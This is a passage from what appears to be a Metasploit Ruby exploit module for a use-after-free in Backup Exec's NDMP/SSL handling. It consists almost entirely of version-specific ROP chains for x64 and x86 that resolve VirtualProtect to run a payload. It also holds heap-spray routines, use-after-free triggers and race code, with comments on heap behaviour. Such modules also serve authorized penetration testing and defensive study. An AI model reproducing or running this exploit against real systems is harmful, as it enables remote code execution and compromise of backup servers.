payload.encoded if target.opts['Arch'] == ARCH_X64 if target.opts['Version'] == 14 stage_3 = [ 0, # skipped by stage 2 0xbe31359, # push rax; pop rsi; ret 0xbe01f72, # pop rax; ret 0, 0xbe3d250, # add rax, rcx; ret 0xbe1c2f9, # pop r12; ret 0xbe2ab32, # pop r8; ret 0xbe2987c, # mov rcx, rax; call r12 0xbe46d9e, # jmp qword ptr [KERNEL32!LoadLibraryW] 0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret 0, 0, 0, 0, 0xbe37f75, # push rax; pop rdi; ret 0xbe43b25, # mov rcx, rsi; call r12 0xbe01f72, # pop rax; ret 0, 0xbe3d250, # add rax, rcx; ret 0xbe6949a, # push rax; pop r12; ret 0xbe4f7ec, # pop r14; pop r13; ret 0xbe2ab32, # pop r8; ret 0, 0xbe2f917, # mov rdx, r12; mov ecx, 4; call r14 0xbe01f72, # pop rax; ret 0xbe2ab32, # pop r8; ret 0xbe36e8e, # mov rcx, rdi; call rax 0xbe01a29, # ret 0xbe46d32, # jmp qword ptr [KERNEL32!GetProcAddressStub] 0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret 0, 0, 0, 0, 0xbe37f75, # push rax; pop rdi; ret 0xbe1c2f9, # pop r12; ret 0xbe2ab32, # pop r8; ret 0xbe43b25, # mov rcx, rsi; call r12 0xbe399d0, # pop r13; ret 1 << 31, 0xbe33c3e, # mov rdx, r13; call r12 0xbe6b790, # mov r9, rcx; test edx, edx; jns 0xbe6b7a3; xor eax, eax; ret 0xbe399d0, # pop r13; ret 0, 0xbe33c3e, # mov rdx, r13; call r12 0xbe2ab32, # pop r8; ret 0x40,# PAGE_EXECUTE_READWRITE 0xbe01a29, # ret 0xbe5180b, # jmp rdi 0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret 0, 0, 0, 0, 0xbe63938# push rsp; ret ] stage_3[3] = stage_3[43] = stage_3.length * 8 + stage_4.length kernel32_dll = "KERNEL32.dll\0".encode('UTF-16LE').force_encoding('ASCII-8BIT') stage_3[17] = stage_3[3] + kernel32_dll.length stage_3 = stage_3.pack('Q<*') + stage_4 + kernel32_dll + "VirtualProtect\0" elsif target.opts['Version'] == 15 stage_3 = [ 0xbe68a34, # push rax; pop rbx; ret 0xbe087c8, # pop rax; ret 0, 0xbe60dc0, # add rax, rcx; ret 0xbe9b627, # mov rcx, rax; call r12 0xbe4929d, # ret 0xbeb488e, # jmp qword ptr [KERNEL32!LoadLibraryAStub] 0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret 0, 0, 0, 0, 0xbe34c0c, # push rax; pop rbp; ret 0xbefc534, # mov rcx, rbx; call r12 0xbe087c8, # pop rax; ret 0, 0xbe60dc0, # add rax, rcx; ret 0xbe9b627, # mov rcx, rax; call r12 0xbefc526, # mov rdx, rcx; call r12 0xbe9ad68, # mov rcx, rbp; call r12 0xbeb4828, # jmp qword ptr [KERNEL32!GetProcAddressStub] 0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret 0, 0, 0, 0, 0xbe43269, # push rax; pop rsi; ret 0xbefc534, # mov rcx, rbx; call r12 0xbebd50e, # pop r13; ret 0, 0xbe97c4e, # mov rdx, r13; call r12 0xbeae99d, # pop r8; ret 0x40,# PAGE_EXECUTE_READWRITE 0xbe3c9c0, # test rdx, rdx; setne al; ret 0xbe68603, # mov r9, rcx; je 0xbe68612; xor eax, eax; ret 0xbe4929d, # ret 0xbe9436d, # jmp rsi 0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret 0, 0, 0, 0, 0xbe2184d, # pop rdi; ret 0xbebd50e, # pop r13; ret 0xbe9a8ac# push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi ] stage_3[2] = stage_3[29] = stage_3.length * 8 + stage_4.length stage_3[15] = stage_3[2] + "KERNEL32.dll\0".length stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0" elsif target.opts['Version'] == 16 stage_3 = [ 0xbe4e888, # push rax; pop rbx; ret 0xbe01f72, # pop rax; ret 0, 0xbe610f0, # add rax, rcx; ret 0xbe9c70c, # mov rcx, rax; call r12 0xbe01c2c, # ret 0xbeb5d8e, # jmp qword ptr [KERNEL32!LoadLibraryAStub] 0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret 0, 0, 0, 0, 0xbe12ed0, # pop rdi; ret 0xbe45a01, # pop r13; ret 0xbeaedb0, # mov rbp, rax; call rdi 0xbe5851a, # mov rcx, rbx; call r12 0xbe01f72, # pop rax; ret 0, 0xbe610f0, # add rax, rcx; ret 0xbe9c70c, # mov rcx, rax; call r12 0xbefe516, # mov rdx, rcx; call r12 0xbe9bf28, # mov rcx, rbp; call r12 0xbeb5d28, # jmp qword ptr [KERNEL32!GetProcAddressStub] 0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret 0, 0, 0, 0, 0xbe433b9, # push rax; pop rsi; ret 0xbe5851a, # mov rcx, rbx; call r12 0xbe45a01, # pop r13; ret 0, 0xbe2e55e, # mov rdx, r13; call r12 0xbe27c76, # pop r8; ret 0x40,# PAGE_EXECUTE_READWRITE 0xbe3caf0, # test rdx, rdx; setne al; ret 0xbe68c73, # mov r9, rcx; je 0xbe68c82; xor eax, eax; ret 0xbe01c2c, # ret 0xbe56cad, # jmp rsi 0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret 0, 0, 0, 0, 0xbe12ed0, # pop rdi; ret 0xbe45a01, # pop r13; ret 0xbe9ba6c# push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi ] stage_3[2] = stage_3[31] = stage_3.length * 8 + stage_4.length stage_3[17] = stage_3[2] + "KERNEL32.dll\0".length stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0" end else if target.opts['Version'] == 14 stage_3 = [ 0x63117dfa, # pop edi; ret 0x63101514, # ret 0x63116cc9, # pop esi; ret 0x6313ba14, # jmp dword ptr [KERNEL32!LoadLibraryAStub] 0x631017ff, # pop ebp; ret 0x631213e6, # add esp, 0x20; ret 0x63137a3c, # pushal; ret 'KERN'.unpack('<L')[0], 'EL32'.unpack('<L')[0], '.dll'.unpack('<L')[0], 0, 0x63117dfa, # pop edi; ret 0x6311de4c, # pop edi; pop ebp; ret 0x6311b614, # push eax; call edi 0x63117dfa, # pop edi; ret 0x6313b9ae, # jmp dword ptr [KERNEL32!GetProcAddressStub] 0x63116cc9, # pop esi; ret 0x631213e6, # add esp, 0x20; ret 0x63137a3c, # pushal; ret 'Virt'.unpack('<L')[0], 'ualP'.unpack('<L')[0], 'rote'.unpack('<L')[0], "ct\0\0".unpack('<L')[0], 0x6314de45, # xchg eax, edi; ret 0x6311db46, # push esp; pop esi; ret 0x6311a398, # xchg eax, esi; ret 0x63116cc9, # pop esi; ret 0x6311f902, # pop ebx; pop ecx; ret 0x63123d89, # push eax; call esi 0x6316744a, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret 0x63101514, # ret 0, 0x631309f4, # pop edx; or al, 0xf6; ret 0x40, # PAGE_EXECUTE_READWRITE 0x63117dfa, # pop edi; ret 0x63101514, # ret 0x6310185a, # pop eax; ret 0x63139ec5, # push esp; ret 0x63137a3c# pushal; ret ] stage_3[31] = stage_4.length + 4 elsif target.opts['Version'] == 15 stage_3 = [ 0x6311e378, # pop edi; ret 0x63101564, # ret 0x631289b9, # pop esi; ret 0x6319e296, # jmp dword ptr [KERNEL32!LoadLibraryA] 0x6310184f, # pop ebp; ret 0x6313937d, # add esp, 0x20; ret 0x6311c618, # pushal; ret 'KERN'.unpack('<L')[0], 'EL32'.unpack('<L')[0], '.dll'.unpack('<L')[0], 0, 0x63198d07, # xchg eax, ebp; mov edi, 0xc483fff9; or al, 0x5e; ret 0x6311e378, # pop edi; ret 0x6319e23c, # jmp dword ptr [KERNEL32!GetProcessAddress] 0x631289b9, # pop esi; ret 0x6313937d, # add esp, 0x20; ret 0x6311c618, # pushal; ret 'Virt'.unpack('<L')[0], 'ualP'.unpack('<L')[0], 'rote'.unpack('<L')[0], "ct\0\0".unpack('<L')[0], 0x631289b9, # pop esi; ret 0x631018aa, # pop eax; ret 0x63198446, # mov edi, eax; call esi 0x63137496, # push esp; pop esi; ret 0x6312c068, # xchg eax, esi; ret 0x631289b9, # pop esi; ret 0x6315c407, # pop ebx; pop ecx; ret 0x63189809, # push eax; call esi 0x631d7cca, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret 0x63101564, # ret 0, 0x63156a54, # pop edx; or al, 0xf6; ret 0x40, # PAGE_EXECUTE_READWRITE 0x6311e378, # pop edi; ret 0x63101564, # ret 0x631018aa, # pop eax; ret 0x6311c638, # push esp; ret 0x6311c618# pushal; ret ] stage_3[31] = stage_4.length + 4 elsif target.opts['Version'] == 16 stage_3 = [ 0x6311e3c0, # pop edi; ret 0x63101564, # ret 0x63128a39, # pop esi; ret 0x6319f27c, # jmp dword ptr [KERNEL32!LoadLibraryAStub] 0x6310184f, # pop ebp; ret 0x631394ad, # add esp, 0x20; ret 0x6311c69c, # pushal; ret 'KERN'.unpack('<L')[0], 'EL32'.unpack('<L')[0], '.dll'.unpack('<L')[0], 0, 0x6311e3c0, # pop edi; ret 0x631018aa, # pop eax; ret 0x6319959f, # mov ebp, eax; call edi 0x6311e3c0, # pop edi; ret 0x6319f21c, # jmp dword ptr [KERNEL32!GetProcessAddressStub] 0x63128a39, # pop esi; ret 0x631394ad, # add esp, 0x20; ret 0x6311c69c, # pushal; ret 'Virt'.unpack('<L')[0], 'ualP'.unpack('<L')[0], 'rote'.unpack('<L')[0], "ct\0\0".unpack('<L')[0], 0x63128a39, # pop esi; ret 0x631018aa, # pop eax; ret 0x631993e6, # mov edi, eax; call esi 0x631375e6, # push esp; pop esi; ret 0x6312c0e8, # xchg eax, esi; ret 0x63128a39, # pop esi; ret 0x63133031, # pop ebx; pop ecx; ret 0x6314a34a, # push eax; call esi 0x631d830a, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret 0x63101564, # ret 0, 0x63157084, # pop edx; or al, 0xf6; ret 0x40, # PAGE_EXECUTE_READWRITE 0x6311e3c0, # pop edi; ret 0x63101564, # ret 0x631018aa, # pop eax; ret 0x63134eb6, # push esp; ret 0x6311c69c# pushal; ret ] stage_3[33] = stage_4.length + 4 end stage_3 = stage_3.pack('L<*') + stage_4 end if target.opts['Arch'] == ARCH_X64 if target.opts['Version'] == 14 stage_2 = [ 0xbe40d1d, # pop r12; pop rsi; ret 0xbe1bca3, # pop r12; pop rbx; ret 0xbe399d0, # pop r13; ret 0xbe29954, # push rsp; and al, 0x70; mov rcx, rax; call r12 0xbe501a7, # mov rcx, rbx; call rsi 0xbe01f72, # pop rax; ret 0, 0xbe3d250, # add rax, rcx; ret 0xbe37f75, # push rax; pop rdi; ret 0xbe4f52c, # mov rax, qword ptr gs:[0x30]; ret 0xbe24263, # mov rax, qword ptr [rax + 8]; ret 0xbe1b055, # pop rbx; ret 0xfffffffffffff000, 0xbe501a7, # mov rcx, rbx; call rsi 0xbe3d250, # add rax, rcx; ret 0xbe1c2f9, # pop r12; ret 0xbe2ab32, # pop r8; ret 0xbe2987c, # mov rcx, rax; call r12 0xbe1b055, # pop rbx; ret 0xbe2ab32, # pop r8; ret 0xbe45935, # mov rdx, rdi; call rbx 0xbe01a29, # ret 0xbe2ab32, # pop r8; ret 0, 0xbe4fa46, # jmp qword ptr [MSVCR100!memcpy] 0xbe2987c, # mov rcx, rax; call r12 0xbe1cfc0# mov rsp, r11; pop r12; ret (note need for extra ret at start of stage 3) ] elsif target.opts['Version'] == 15 stage_2 = [ 0xbe1e18e, # pop r12; pop rdi; ret 0xbebd50e, # pop r13; ret 0xbebc3fd, # pop r14; pop rbp; ret 0xbe9a8ac, # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi 0xbe9ad68, # mov rcx, rbp; call r12 0xbe087c8, # pop rax; ret 0, 0xbe60dc0, # add rax, rcx; ret 0xbe43269, # push rax; pop rsi; ret 0xbebd24c, # mov rax, qword ptr gs:[0x30]; ret 0xbe3b0b3, # mov rax, qword ptr [rax + 8]; ret 0xbe1d923, # pop r12; pop rbx; ret 0xfffffffffffff000, 0xbe27c76, # pop r8; ret 0xbe45511, # mov rcx, r12; call rbx 0xbe60dc0, # add rax, rcx; ret 0xbe1df29, # pop r12; ret 0xbe27c76, # pop r8; ret 0xbe9b54c, # mov rcx, rax; call r12 0xbe01f72, # pop rax; ret 0xbe27c76, # pop r8; ret 0xbe4164c, # mov rdx, rsi; call rax 0xbeae99d, # pop r8; ret 0, 0xbebda22, # jmp qword ptr [MSVCR100!memcpy] 0xbe9b627, # mov rcx, rax; call r12 0xbeeb621# push rcx; pop rsp; ret ] elsif target.opts['Version'] == 16 stage_2 = [ 0xbe1e18e, # pop r12; pop rdi; ret 0xbe45a01, # pop r13; ret 0xbe2a433, # pop r14; pop rbp; ret 0xbe9ba6c, # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi 0xbe9bf28, # mov rcx, rbp; call r12 0xbe01f72, # pop rax; ret 0, 0xbe610f0, # add rax, rcx; ret 0xbe433b9, # push rax; pop rsi; ret 0xbebe74c, # mov rax, qword ptr gs:[0x30]; ret 0xbe3b1e3, # mov rax, qword ptr [rax + 8]; ret 0xbe1d923, # pop r12; pop rbx; ret 0xfffffffffffff000, 0xbe27c76, # pop r8; ret 0xbe45681, # mov rcx, r12; call rbx 0xbe610f0, # add rax, rcx; ret 0xbe1df29, # pop r12; ret 0xbe27c76, # pop r8; ret 0xbe9c70c, # mov rcx, rax; call r12 0xbe01f72, # pop rax; ret 0xbe27c76, # pop r8; ret 0xbe4179c, # mov rdx, rsi; call rax 0xbe27c76, # pop r8; ret 0, 0xbebef22, # jmp qword ptr [MSVCR100!memcpy] 0xbe9c70c, # mov rcx, rax; call r12 0xbeed611# push rcx; pop rsp; ret ] end stage_2[6] = (stage_2.length - 4) * 8 stage_2[23] = stage_3.length stage_2 = stage_2.pack('Q<*') + stage_3 else if target.opts['Version'] == 14 stage_2 = [ 0x63143720, # mov eax, dword ptr fs:[0x18]; ret 0x6311efa4, # mov eax, dword ptr [eax + 4]; ret 0x63129b75, # pop edi; pop ecx; ret 0xfffffff0, 0x100000000 - 0x2000, 0x63122eea, # and eax, edi; pop edi; pop esi; add esp, 0xc; ret 0x63129b75, # pop edi; pop ecx; ret 0x6310185a, # pop eax; ret 0, 0, 0, 0x63133912, # add eax, ecx; ret 0x63152ded, # mov ebx, eax; call esi 0x631309f4, # pop edx; or al, 0xf6; ret 0x6314cfa1, # xchg eax, esp; ret 0x6311db46, # push esp; pop esi; ret 0x6310185a, # pop eax; ret 0x6310185a, # pop eax; ret 0x631171d2, # mov ecx, esi; call eax 0x6310185a, # pop eax; ret 0, 0x63133912, # add eax, ecx; ret 0x631257f4, # push ebx; call edi 0x631546eb, # pop edi; ret 0x631543cb, # pop ebp; pop esi; pop edi; ret 0x63116faf, # pop ebx; ret 0x63143aec, # jmp dword ptr [MSVCR100!memcpy] 0x6315dde0, # cld; ret 0x63137a3c, # pushal; ret 0 ] stage_2[20] = (stage_2.length - 16) * 4 stage_2[29] = stage_3.length elsif target.opts['Version'] == 15 stage_2 = [ 0x631a6220, # mov eax, dword ptr fs:[0x18]; ret 0x6312e404, # mov eax, dword ptr [eax + 4]; ret 0x6313031d, # pop ebp; pop ecx; ret 0x100000000 - 0x2000, 0xfffffff0, 0x6316c73a, # and eax, ecx; pop esi; ret 0x6315c407, # pop ebx; pop ecx; ret 0x63192b17, # add eax, ebp; ret 0x63189809, # push eax; call esi 0x63156a54, # pop edx; or al, 0xf6; ret 0x6312c933, # xchg eax, esp; ret 0x63137496, # push esp; pop esi; ret 0x6314172a, # pop eax; ret 0, 0x6317e87d, # add eax, esi; pop edi; pop esi; pop ebx; ret 0x63156dd8, # pop edi; pop ebp; pop esi; ret 0, 0, 0x631729cd, # pop ebx; ret 0x631a65ec, # jmp dword ptr [MSVCR100!memcpy] 0x6311e250, # cld; ret 0x6311c618, # pushal; ret 0 ] stage_2[13] = (stage_2.length - 12) * 4 stage_2[22] = stage_3.length elsif target.opts['Version'] == 16 stage_2 = [ 0x631a7200, # mov eax, dword ptr fs:[0x18]; ret 0x6312e4a4, # mov eax, dword ptr [eax + 4]; ret 0x63128afc, # pop ecx; ret 0xfffffff0, 0x6316d13a, # and eax, ecx; pop esi; ret 0x63133031, # pop ebx; pop ecx; ret 0x63128afc, # pop ecx; ret 0x100000000 - 0x2000, 0x63142860, # add eax, ecx; ret 0x6314a34a, # push eax; call esi 0x63157084, # pop edx; or al, 0xf6; ret 0x6311c6c0, # xchg eax, esp; ret 0x631375e6, # push esp; pop esi; ret 0x631018aa, # pop eax; ret 0, 0x63135f56, # add eax, esi; add eax, ecx; pop esi; ret 0, 0x63157408, # pop edi; pop ebp; pop esi; ret 0x63157408, # pop edi; pop ebp; pop esi; ret 0, 0, 0x63181046, # sub eax, ecx; pop ebx; ret 0x631a75cc, # jmp dword ptr [MSVCR100!memcpy] 0x6311e298, # cld; ret 0x6311c69c, # pushal; ret 0 ] stage_2[14] = (stage_2.length - 13) * 4 stage_2[25] = stage_3.length end stage_2 = stage_2.pack('L<*') + stage_3 end stage_2 + rand_text(stage_2.length & 1) end # # Attempt to overwrite the freed BIO struct with stage 1 and trigger the use-after-free. # def attempt_triggers(s, spray_socks, spray_msg) datastore['NumTriggerAttempts'].times do |x| print_status('Spraying stage 1...') (1..2).each do |phase| spray_socks.each do |ss| if phase == 1 return false unless ss.prepare_and_write_ndmp_msg(spray_msg, false, 50) return true if @payload_connected || session_created? else 50.times do return false unless ss.read_ndmp_msg(spray_msg.header.type) return true if @payload_connected || session_created? end end end end sleep(1) return true if @payload_connected || session_created? # Send a certain amount of data per trigger attempt so that stage 1 will always end # up jumping into the TLS/SSLv2 record at an expected location. The general idea is # that the first write will complete Backup Exec's first recv operation, the second # fills the buffer back up to an 8/4-byte aligned position, and the rest moves # through the retsled print_status("Triggering UAF, attempt #{x + 1}/#{datastore['NumTriggerAttempts']}...") trigger = if target.opts['Version'] == 14 if x == 0 # A maximum of 5 bytes are always read at first, so just send them all at once "\x16\x03\x01\x10\x00" elsif x == 1 # Skip over TLS header structure rand_text((target.opts['Arch'] == ARCH_X64 ? 0x18 : 0x10) - 5) else # Skip over a ROP NOP rand_text(target.opts['Arch'] == ARCH_X64 ? 8 : 4) end else if x == 0 # A maximum of 11 bytes are always read at first, so just send them all at once "\x90\x00\x01\x03\x03" + rand_text(11 - 5) elsif x == 1 # Skip over SSLv2 header structure rand_text((target.opts['Arch'] == ARCH_X64 ? 0x20 : 0x10) - 11) else # Skip over a ROP NOP rand_text(target.opts['Arch'] == ARCH_X64 ? 8 : 4) end end return false unless s.raw_sendall(trigger, 0) sleep(1) return true if @payload_connected || session_created? end nil end # # Attempt to overwrite the freed BIO struct with stage 1 and implicitly trigger the # use-after-free in a race. # # For non-Windows 8+ targets, we need to race Backup Exec after the BIO struct is freed. # This is because these versions of Windows overwrite the start of freed objects on the # heap with the next offset in the freelist. We need to then overwrite this with our # stage 1 spray otherwise Backup Exec will crash upon attempting to call the BIO # struct's read callback upon re-entering SSL mode. This is less successful than the # Windows 8+ case (which doesn't use a freelist, instead using a free bitmap), but it # still works OK. # def attempt_race(s, spray_socks, spray_msg, ca_cert_id) print_status('Spraying stage 1 while racing re-entering SSL mode on main socket...') do_simple_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id) do |is_pre| unless is_pre 200.times do spray_socks.each do |ss| ss.prepare_and_write_ndmp_msg(spray_msg, 200) return true if @payload_connected || session_created? end end end end sleep(1) @payload_connected || session_created? end end |